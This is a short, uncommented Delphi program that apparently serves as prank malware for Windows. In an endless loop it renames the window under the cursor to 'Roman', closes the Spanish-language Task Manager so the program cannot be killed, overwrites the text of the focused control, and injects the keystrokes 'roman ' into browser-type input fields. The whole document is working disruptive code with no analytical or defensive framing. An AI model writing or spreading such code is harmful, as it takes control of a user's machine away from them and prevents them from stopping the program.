uses Windows, Messages;
var
Cursor: TPoint;
idAttach, idAttachTo: Cardinal;
procedure vkEmulate(const bVk: Byte);
begin
keybd_event(bVk, 0, 0, 0);
keybd_event(bVk, 0, KEYEVENTF_KEYUP, 0);
end;
procedure SendKeys(lpKeys: PChar);
begin
repeat
vkEmulate(VkKeyScan(lpKeys[0]));
Inc(Cardinal(lpKeys));
until lpKeys[0] = #0;
end;
procedure SetRoman(hWnd: Cardinal);
begin
SendMessage(hWnd, WM_SETTEXT, 0, Integer(PChar('Roman')));
end;
var ClassName: array[0..15] of Char;
label Back;
begin
idAttach := GetCurrentThreadId;
Back: Sleep($7F);
GetCursorPos(Cursor);
SetRoman(WindowFromPoint(Cursor));
SendMessage(FindWindow(nil, 'Administrador de tareas de Windows'), WM_SYSCOMMAND, SC_CLOSE, 0);
idAttachTo := GetWindowThreadProcessID(GetForegroundWindow, nil);
if not AttachThreadInput(idAttach, idAttachTo, True) then goto Back;
GetClassName(GetFocus, @ClassName, SizeOf(ClassName));
if lstrcmp(@ClassName, 'Internet') = 0 then SendKeys('roman ');
SetRoman(GetFocus); AttachThreadInput(idAttach, idAttachTo, False);
goto Back;
end.